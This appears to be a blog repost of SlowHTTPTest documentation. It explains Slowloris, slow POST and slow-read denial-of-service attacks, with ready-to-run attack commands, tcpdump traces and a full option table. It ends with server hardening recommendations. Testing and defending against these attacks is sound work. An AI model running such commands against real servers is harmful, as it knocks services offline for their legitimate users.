SlowHTTPTest is a highly configurable tool that simulates some Application Layer Denial of Service attacks.
Slowloris
and Slow HTTP POST DoS attacks rely on the fact that the HTTP protocol,
by design, requires requests to be completely received by the server
before they are processed. If an HTTP request is not complete, or if the
transfer rate is very low, the server keeps its resources busy waiting
for the rest of the data. If the server keeps too many resources busy,
this creates a denial of service. This tool is sending partial HTTP
requests, trying to get denial of service from target HTTP server.
Slow Read DoS attack
aims the same resources as slowloris and slow POST, but instead of
prolonging the request, it sends legitimate HTTP request and reads the
response slowly.
Details
Attack
exploits the fact that most of modern web servers are not limiting the
connection duration if there is a data flow going on, and with
possiblity to prolong TCP connection virtually forever with zero or
minimal data flow by manipulating TCP receive window size value, it is
possible to acquire concurent connections pool of the application.
Possibility to prolong TCP connection is described in several
vulnerability reports: MS09-048, CVE-2008-4609, CVE-2009-1925, CVE-2009-1926 .
Prerequisites
for the successful attack are: - victim server should accept
connections with advertised window smaller than server socket send
buffer, the smaller the better – attacker needs to request a resource
that doesn't fit into server's socket send buffer, which is usually
between 64K and 128K. To fill up server socket's send buffer for sure,
consider using HTTP pipelining (-k argument of slowhttptest)
slowhttptest controls the incoming data rate by manipulating receive buffer size through SO_RCVBUF socket option and
by varying reading rate from it by application. Note, that different
operating systems might have different behavior. For example, OSX uses
the value we set SO_RCVBUF to in initial SYN packet, while Linux systems
double this value (to allow space for bookkeeping overhead) when it is
set using setsockopt. Minimum doubled value for Linux systems is 256 or
the first value of /proc/sys/net/ipv4/tcp_rmem, whichever is larger.
Also, changing receive buffer size on OSX doesn't work if connecting to
localhost.
For SSL connections, slow reading from receive buffer
engages after SSL handshake is finished. However, as initial window size
is smaller than usual, handshake might require more TCP packets and
last longer than usual.
Example
Actual example of usage:
./slowhttptest -c 1000 -X -g -o slow_read_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://myseceureserver/resources/index.html -p 3
-X
starts Slow Read test with 1000 connections, creating 200 connections
per second. Initial SYN packet for every connection would have random
advertised window size value between 512 and 1024, and application would
read 32 bytes every 5 seconds from each socket's receive buffer. To
multiply overall response size, we use pipeline factor 3 to request the
same resource 3 times per socket. Probe connection would consider server
DoSed, if no response was received after 3 seconds.
Let me remind you what slowloris and slow POST
are aiming to do: A Web server keeps its active connections in a
relatively small concurrent connection pool, and the above-mentioned
attacks try to tie up all the connections in that pool with slow
requests, thus causing the server to reject legitimate requests, as in
first reastaurnt scenario.
The
idea of the attack I implemented is pretty simple: Bypass policies that
filter slow-deciding customers, send a legitimate HTTP request and read
the response slowly, aiming to keep as many connections as possible
active. Sounds too easy to be true, right?
Crafting a Slow Read
Let’s
start with a simple case, and send a legitimate HTTP request for a
resource without reading the server’s response from the kernel receive
buffer.
We craft a request like the following:
GET /img/delivery.png HTTP/1.1
Host: victim
User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en) Presto/2.9.168 Version/11.50
Referer: http://code.google.com/p/slowhttptest/
And the server replies with something like this:
HTTP/1.1 200 OK
Date: Mon, 19 Dec 2011 00:12:28 GMT
Server: Apache
Last-Modified: Thu, 08 Dec 2011 15:29:54 GMT
Accept-Ranges: bytes
Content-Length: 24523
Content-Type: image/png
?PNG
The simplified tcpdump output looks like this:
09:06:02.088947 IP attacker.63643 > victim.http: Flags [S], seq 3550589098, win 65535, options [mss 1460,nop,wscale 1,nop,nop,TS val 796586772 ecr 0,sackOK,eol], length 0
09:06:02.460622 IP victim.http > attacker.63643: Flags [S.], seq 1257718537, ack 3550589099, win 5792, options [mss 1460,sackOK,TS val 595199695 ecr 796586772,nop,wscale 6], length 0
09:06:02.460682 IP attacker.63643 > victim.http: Flags [.], ack 1, win 33304, length 0
09:06:02.460705 IP attacker.63643 > victim.http: Flags [P.], seq 1:219, ack 1, win 33304, length 218
09:06:02.750771 IP victim.http > attacker.63643: Flags [.], ack 219, win 108, length 0
09:06:02.762162 IP victim.http > attacker.63643: Flags [.], seq 1:1449, ack 219, win 108, length 1448
09:06:02.762766 IP victim.http > attacker.63643: Flags [.], seq 1449:2897, ack 219, win 108, length 1448
09:06:02.762799 IP attacker.63643 > victim.http: Flags [.], ack 2897, win 31856, length 0
...
...
09:06:03.611022 IP victim.http > attacker.63643: Flags [P.], seq 24617:24738, ack 219, win 108, length 121
09:06:03.611072 IP attacker.63643 > victim.http: Flags [.], ack 24738, win 20935, length 0
09:06:07.757014 IP victim.http > attacker.63643: Flags [F.], seq 24738, ack 219, win 108, length 0
09:06:07.757085 IP attacker.63643 > victim.http: Flags [.], ack 24739, win 20935, length 0
09:09:54.891068 IP attacker.63864 > victim.http: Flags [S], seq 2051163643, win 65535, length 0
For
those who don’t feel like reading tcpdump’s output: We established a
connection; sent the request; received the response through several TCP
packets sized 1448 bytes because of Maximum Segment Size that the
underlying communication channel supports; and finally, 5 seconds later,
we received the TCP packet with the FIN flag.
Everything
seems normal and expected. The server handed the data to its kernel
level send buffer, and the TCP/IP stack took care of the rest. At the
client, even while the application had not read yet from its kernel
level receive buffer, all the transactions were completed on the network
layer.
What if we try to make the client’s receive buffer very small?
We sent the same HTTP request and server produced the same HTTP response, but tcpdump produced much more interesting results:
13:37:48.371939 IP attacker.64939 > victim.http: Flags [S], seq 1545687125, win 28, options [mss 1460,nop,wscale 0,nop,nop,TS val 803763521 ecr 0,sackOK,eol], length 0
13:37:48.597488 IP victim.http > attacker.64939: Flags [S.], seq 3546812065, ack 1545687126, win 5792, options [mss 1460,sackOK,TS val 611508957 ecr 803763521,nop,wscale 6], length 0
13:37:48.597542 IP attacker.64939 > victim.http: Flags [.], ack 1, win 28, options [nop,nop,TS val 803763742 ecr 611508957], length 0
13:37:48.597574 IP attacker.64939 > victim.http: Flags [P.], seq 1:236, ack 1, win 28, length 235
13:37:48.820346 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:49.896830 IP victim.http > attacker.64939: Flags [P.], seq 1:29, ack 236, win 98, length 28
13:37:49.896901 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:37:51.119826 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:51.119889 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:37:55.221629 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:55.221649 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:37:59.529502 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:59.529573 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:38:07.799075 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:38:07.799142 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:38:24.122070 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:38:24.122133 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:38:56.867099 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:38:56.867157 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:40:01.518180 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:40:01.518222 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:42:01.708150 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:42:01.708210 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:44:01.891431 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:44:01.891502 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:46:02.071285 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:46:02.071347 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:48:02.252999 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:48:02.253074 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:50:02.436965 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:50:02.437010 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
In
the initial SYN packet, the client advertised its receive window size
as 28 bytes. The server sends the first 28 bytes to the client and
that’s it! The server keeps polling the client for space available at
progressive intervals until it reaches a 2-minute interval, and then
keeps polling at that interval, but keeps receiving win 0.
This
is already promising: if we can prolong the connection lifetime for
several minutes, it’s not that bad. And we can have more fun with
thousands of connections! But fun did not happen. Let’s see why: Once
the server received the request and generated the response, it sends the
data to the socket, which is supposed to deliver it to the end user. If
the data can fit into the server socket’s send buffer, the server hands
the entire data to the kernel and forgets about it. That’s what
happened with our last test.
What if we make the server keep polling the socket for write readiness? We get exactly what we wanted: Denial of Service.
Let’s summarize the prerequisites for the DoS:
- We
need to know the server’s send buffer size and then define a
smaller-sized client receive buffer. TCP doesn’t advertise the server’s
send buffer size, but we can assume that it is the default value, which
is usually between 65Kb and 128Kb. There’s normally no need to have a
send buffer larger than that.
- We need to make the server generate a response that is larger than the send buffer. With reports indicating the Average Web Page Approaches 1MB, that should be fairly easy. Load the main page of the victim’s Web site in your favorite WebKit-based browser like Chrome or Safari and pick the largest resource in Web Inspector.
If there are no sufficiently large resources on the server, but it supports HTTP pipelining,
which many Web servers do, then we can multiply the size of the
response to fill up the server’s send buffer as much as we need by
re-requesting same resource several times using the same connection.
For example, here’s a screenshot of mod_status on Apache under attack:
As you can see, all connections are in the WRITE state with 0 idle workers.
Installation
The tool is distributed as portable package, so just download the latest tarball from Downloads section, extract, configure, compile, and install:
$ tar -xzvf slowhttptest-x.x.tar.gz
$ cd slowhttptest-x.x
$ ./configure --prefix=PREFIX
$ make
$ sudo make install
Where PREFIX must be replaced with the absolute path where slowhttptest tool should be installed.
You need libssl-dev to be installed to successfully compile the tool. Most systems would have it.
Full list of configurable options is the following:
| -a start | start value of ranges-specifier for range header test |
| -b bytes | limit of range-specifier for range header test |
| -c number of connections | limited to 1024 |
| -H, B, R or X | specify to slow down in headers section or in message body, -R enables range test, -X enables slow read test |
| -g | generate statistics in CSV and HTML formats, pattern is slow_xxx.csv/html, where xxx is the time and date |
| -i seconds | interval between follow up data in seconds, per connection |
| -k pipeline factor | number of times to repeat the request in the same connection for slow read test if server supports HTTP pipe-lining. |
| -l seconds | test duration in seconds |
| -n seconds | interval between read operations from receive buffer |
| -o file | custom output file path and/or name, effective if -g is specified |
| -p seconds | timeout to wait for HTTP response on probe connection, after which server is considered inaccessible |
| -r connections per second | connection rate |
| -s bytes | value of Content-Length header, if -B specified |
| -t verb | custom verb to use |
| -u URL | target URL, the same format you type in browser, e.g https://host[:port]/ |
| -v level | verbosity level of log 0-4 |
| -w bytes | start of range the advertised window size would be picked from |
| -x bytes | max length of follow up data |
| -y bytes | end of range the advertised window size would be picked from |
| -z bytes | bytes to read from receive buffer with single read() operation |
Example of usage in slow message body mode:
./slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u https://myseceureserver/resources/loginform.html -x 10 -p 3
Example of usage in slowloris mode:
./slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://myseceureserver/resources/index.html -x 24 -p 3
Output
Depends
on verbosity level, output can be either as simple as heartbeat message
generated every 5 seconds showing status of connections with verbosity
level 1, or full traffic dump with verbosity level 4.
-g option would generate both CSV file and interactive HTML based on Google Chart Tools.
Here is a sample screenshot of generated HTML page
Slow HTTP
attacks are denial-of-service (DoS) attacks in which the attacker sends
HTTP requests in pieces slowly, one at a time to a Web server. If an
HTTP request is not complete, or if the transfer rate is very low, the
server keeps its resources busy waiting for the rest of the data. When
the server’s concurrent connection pool reaches its maximum, this
creates a DoS. Slow HTTP attacks are easy to execute because they
require only minimal resources from the attacker.
In
this article, I describe several simple steps to protect against slow
HTTP attacks and to make the attacks more difficult to execute.
Previous articles in the series cover:
Protection Strategies
To protect your Web server against slow HTTP attacks, I recommend the following:
- Reject / drop connections with HTTP methods (verbs) not supported by the URL.
- Limit
the header and message body to a minimal reasonable length. Set tighter
URL-specific limits as appropriate for every resource that accepts a
message body.
- Set an absolute connection timeout, if possible.
Of course, if the timeout is too short, you risk dropping legitimate
slow connections; and if it’s too long, you don’t get any protection
from attacks. I recommend a timeout value based on your connection
length statistics, e.g. a timeout slightly greater than median lifetime
of connections should satisfy most of the legitimate clients.
- The
backlog of pending connections allows the server to hold connections
it’s not ready to accept, and this allows it to withstand a larger slow
HTTP attack, as well as gives legitimate users a chance to be served
under high load. However, a large backlog also prolongs the attack,
since it backlogs all connection requests regardless of whether they’re
legitimate. If the server supports a backlog, I recommend making it
reasonably large to so your HTTP server can handle a small attack.
- Define
the minimum incoming data rate, and drop connections that are slower
than that rate. Care must be taken not to set the minimum too low, or
you risk dropping legitimate connections.
Server-Specific Recommendations
Applying the above steps to the HTTP servers tested in the previous article indicates the following server-specific settings:
Apache
- Using the <Limit> and <LimitExcept>
directives to drop requests with methods not supported by the URL alone
won’t help, because Apache waits for the entire request to complete
before applying these directives. Therefore, use these parameters in
conjunction with the LimitRequestFields, LimitRequestFieldSize, LimitRequestBody, LimitRequestLine, LimitXMLRequestBody
directives as appropriate. For example, it is unlikely that your web
app requires an 8190 byte header, or an unlimited body size, or 100
headers per request, as most default configurations have.
- Set reasonable TimeOut and KeepAliveTimeOut directive values. The default value of 300 seconds for TimeOut is overkill for most situations.
- ListenBackLog’s default value of 511 could be increased, which is helpful when the server can’t accept connections fast enough.
- Increase the MaxRequestWorkers directive to allow the server to handle the maximum number of simultaneous connections.
- Adjust the AcceptFilter
directive, which is supported on FreeBSD and Linux, and enables
operating system specific optimizations for a listening socket by
protocol type. For example, the httpready Accept Filter buffers entire
HTTP requests at the kernel level.
A number of Apache modules are available to minimize the threat of slow HTTP attacks. For example, mod_reqtimeout’s RequestReadTimeout directive helps to control slow connections by setting timeout and minimum data rate for receiving requests.
I also recommend switching apache2 to experimental Event MPM
mode where available. This uses a dedicated thread to handle the
listening sockets and all sockets that are in a Keep Alive state, which
means incomplete connections use fewer resources while being polled.
Nginx
lighttpd
- Restrict request verbs using the $HTTP["request-method"] field in the configuration file for the core module (available since version 1.4.19).
- Use server.max_request-size to limit the size of the entire request including headers.
- Set server.max-read-idle to a reasonable minimum so that the server closes slow connections. No absolute connection timeout option was found.
IIS 6
IIS 7
- Limit request attributes is through the <RequestLimits> element, specifically the maxAllowedContentLength, maxQueryString, and maxUrl attributes.
- Set <headerLimits> to configure the type and size of header your web server will accept.
- Tune the connectionTimeout, headerWaitTimeout, and minBytesPerSecond attributes of the <limits> and <WebLimits> elements to minimize the impact of slow HTTP attacks.
Source: https://code.google.com/p/slowhttptest/
If you like my blog, Please Donate Me